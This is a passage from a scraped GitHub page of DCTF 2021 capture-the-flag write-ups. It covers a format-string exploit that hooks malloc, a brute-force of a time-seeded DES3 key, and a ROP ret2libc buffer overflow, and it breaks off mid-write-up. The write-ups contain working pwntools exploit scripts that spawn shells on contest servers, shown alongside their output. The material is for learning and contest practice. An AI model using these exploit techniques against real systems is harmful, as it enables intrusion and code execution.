01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
[Original writeup](https://tadeuszwachowski.github.io/CTFwriteups/dctf/#Hidden%20message) (https://tadeuszwachowski.github.io/CTFwriteups/dctf/#Hidden%20message)
# DCTF 2021 ## Formats last theorem > 400> > I dare you to hook the malloc> > `nc dctf-chall-formats-last-theorem.westeurope.azurecontainer.io 7482`>> [formats\_last\_theorem](formats_last_theorem) [Dockerfile](Dockerfile) Tags: _pwn_ _x86-64_ _malloc_ _malloc-hook_ _write-what-where_ _format-string_ ## Summary The challenge description turned this into a 5-minute challenge. Without this hint, I think many would have been lost in an endless loop. ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled``` All mitigations in place sans canary, but since there's no `return`, it does not matter. ### Decompile with Ghidra ```cvoid vuln(void){ long in_FS_OFFSET; char local_78 [104]; undefined8 local_10; local_10 = (undefined8 )(in_FS_OFFSET + 0x28); do { puts("I won\'t ask you, what your name is. It\'s getting kinda old at this point"); __isoc99_scanf("%100s",local_78); puts("you entered"); printf(local_78); puts(""); puts(""); } while( true );}``` Endless loop with endless format-string exploits. The plan is simple, use `printf` to leak libc, then, per the challenge description, use `printf` _hook the malloc_, and then `printf` again to [trigger the hook](http.s://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free). > The libc version was provided in the form of a `Dockerfile`. I've included it (`libc.so.6`) as part of this writeup since a future update to Ubuntu 18.04 may change the version of libc. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./formats_last_theorem') if args.REMOTE: p = remote('dctf-chall-formats-last-theorem.westeurope.azurecontainer.io', 7482) libc = ELF('./libc.so.6')else: import signal p = process(('stdbuf -i0 -o0 -e0 '+binary.path).split(),preexec_fn=lambda: signal.signal(signal.SIGALRM, signal.SIG_IGN)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # one_gadgetlibc.symbols['gadget'] = [0x4f3d5, 0x4f432, 0x10a41c][1]``` > one_gadget if available is the easy win here. The second of the three possible options works just fine. Standard pwntools setup, however I added `gadget` symbol to libc, and have my local process ignoring SIGALRM. > No `setvbuf` in challenge binary, so I had to prepend `stdbuf`. ```pythonp.sendlineafter('point\n','%23$p')p.recvuntil('entered\n')__libc_start_main = int(p.recvline().strip(),16) - 231libc.address = __libc_start_main - libc.sym.__libc_start_mainlog.info('libc.address: ' + hex(libc.address))``` The above provides the leak, _but why `23`?_ To find libc in the stack and leak it just use GDB (with an Ubuntu 18.04 machine/container, see the challenge included [Dockerfile](Dockerfile)): ```0x00007fffffffe300│+0x0000: 0x0000000070243625 ("%6$p"?) ← $rsp, $rdi0x00007fffffffe308│+0x0008: 0x00000000000000000x00007fffffffe310│+0x0010: 0x00000000000000000x00007fffffffe318│+0x0018: 0x00000000000000000x00007fffffffe320│+0x0020: 0x00000000000000090x00007fffffffe328│+0x0028: 0x00007ffff7dd5660 → <dl_main+0> push rbp0x00007fffffffe330│+0x0030: 0x00007fffffffe398 → 0x00007fffffffe468 → 0x00007fffffffe6e0 → "/pwd/datajerk/dctf2021/formats_last_theorem/format[...]"0x00007fffffffe338│+0x0038: 0x0000000000f0b5ff0x00007fffffffe340│+0x0040: 0x00000000000000010x00007fffffffe348│+0x0048: 0x000055555540081d → <__libc_csu_init+77> add rbx, 0x10x00007fffffffe350│+0x0050: 0x00007ffff7de3b40 → <_dl_fini+0> push rbp0x00007fffffffe358│+0x0058: 0x00000000000000000x00007fffffffe360│+0x0060: 0x00005555554007d0 → <__libc_csu_init+0> push r150x00007fffffffe368│+0x0068: 0xb049ba36a07c52000x00007fffffffe370│+0x0070: 0x00007fffffffe380 → 0x00005555554007d0 → <__libc_csu_init+0> push r15 ← $rbp0x00007fffffffe378│+0x0078: 0x00005555554007c4 → <main+24> mov eax, 0x00x00007fffffffe380│+0x0080: 0x00005555554007d0 → <__libc_csu_init+0> push r150x00007fffffffe388│+0x0088: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax``` Before counting down to `__libc_start_main+231` for the leak, you'll need to know the offset, to find that just send `%nn$p` where `nn > 0`, and keep incrementing `nn` until the output matches the intput, e.g.: ```I won't ask you, what your name is. It's getting kinda old at this point%6$pyou entered0x70243625``` It's a match, the offset is `6`. That'd put `__libc_start_main+231` at parameter `23` (look at the stack above and just count down). With libc location known, all that is left is to _hook the malloc_: ```pythonp.sendlineafter('point\n',fmtstr_payload(6,{libc.sym.__malloc_hook:libc.sym.gadget},write_size='short'))p.sendlineafter('point\n','%65536c')p.recvuntil('entered\n')p.interactive()``` Standard pwntools format-string to set the hook with our gadget. The `write_size='short'` reduces the size of the payload from 120 bytes to 64 (we only have 100 bytes to work with). After the hook set, just `printf` something large to trigger it. > If you're new to format-string exploits read this: [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf).>> Many examples of how to use pwntools `fmtstr_payload`: [dead-canary](https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2020/dead-canary). Output: ```bash# ./exploit.py REMOTE=1[] '/pwd/datajerk/dctf2021/formats_last_theorem/formats_last_theorem' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to dctf-chall-formats-last-theorem.westeurope.azurecontainer.io on port 7482: Done[] '/pwd/datajerk/dctf2021/formats_last_theorem/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[] libc.address: 0x7f22bb2f8000[] Switching to interactive mode$ iduid=1000(pilot) gid=1000(pilot) groups=1000(pilot)$ cat flag.txtdctf{N0t_all_7h30r3ms_s0und_g00d}```
# Just Take Your Time ## Description Let's go. In and out. 2 second adventure. `nc dctf-chall-just-take-your-time.westeurope.azurecontainer.io 9999` [just-take-your-time.py](just-take-your-time.py) ###### Hint -> While this may not be pwn, its tools may still be quite handy. ## Solution Analyzig the code we see that the flag is encrypted using the `time()` of the system ```key = str(int(time())).zfill(16).encode("utf-8")secret = token_hex(16)cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")encrypted = cipher.encrypt(secret.encode("utf-8"))``` We can connect to the service, pass the first challenge `(a * b)` and get the encrypted secret Now we can try to decrypt using the time, `-100 / 100` is used to be safer, send it back and get the flag Let's write the script ```pythonfrom pwn import from Crypto.Cipher import DES3from time import timefrom random import randint nc = remote("dctf-chall-just-take-your-time.westeurope.azurecontainer.io", 9999) nc.recvline()a, b = map(int, nc.recvline().decode().strip().split(' ')[::2])nc.sendline(str(a b)) t = int(time())nc.recvline()secret = bytes.fromhex(nc.recvlineS())log.info(f"Secret: {secret.hex()}") for i in range(-100, 100): key = str(t + i).zfill(16).encode("utf-8") cipher = DES3.new(key, DES3.MODE_CFB, b"00000000") plain = cipher.decrypt(secret) if plain.isalnum(): nc.sendline(plain.decode()) nc.recvline() log.info(f"Time: {i}") log.success(nc.recvlineS()) break``` ```console$ python JustTakeYourTime.py [+] Opening connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io on port 9999: Done[] Secret: f24f18b5814062decdb85c6283778d7d2551b62bf039d97dafae5408b6f5b666[] Time: -10[+] dctf{1t_0n1y_t0Ok_2_d4y5...}``` #### FLAG >> `dctf{1t_0n1y_t0Ok_2_d4y5...}`
# DCTF 2021 ## Baby bof > 250> > It's just another bof. > > `nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481`>> [hotel\_rop](hotel_rop) [Dockerfile](Dockerfile) Tags: _pwn_ _x86-64_ _bof_ _rop_ _ret2libc_ ## Summary Classic two-pass leak libc, return to vuln, get a shell. ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Partial RELRO--GOT overwrite; no canary--BOF/ROP; no PIE--easy ROP. ### Decompile with Ghidra ```cvoid vuln(void){ char local_12 [10]; puts("plz don\'t rop me"); fgets(local_12,0x100,stdin); puts("i don\'t think this will work"); return;}``` Write out `0x12` of garbage to get to return address in stack and start ROP. > The libc version was provided in the form of a `Dockerfile`. I've included it (`libc.so.6`) as part of this writeup since a future update to Ubuntu 20.04 may change the version of libc. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./baby_bof')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if args.REMOTE: p = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481) libc = ELF('./libc.so.6')else: p = process(binary.path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pop_rdi = next(binary.search(asm('pop rdi; ret'))) payload = b''payload += 0x12 * b'A'payload += p64(pop_rdi)payload += p64(binary.got.puts)payload += p64(binary.plt.puts)payload += p64(binary.sym.vuln) p.sendlineafter('me\n',payload)p.recvuntil('work\n') puts = u64(p.recv(6) + b'\0\0')log.info('puts: ' + hex(puts))libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address)) payload = 0x12 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b'/bin/sh').__next__())payload += p64(libc.sym.system) p.sendlineafter('me\n',payload)p.recvuntil('work\n')p.interactive()``` If this does 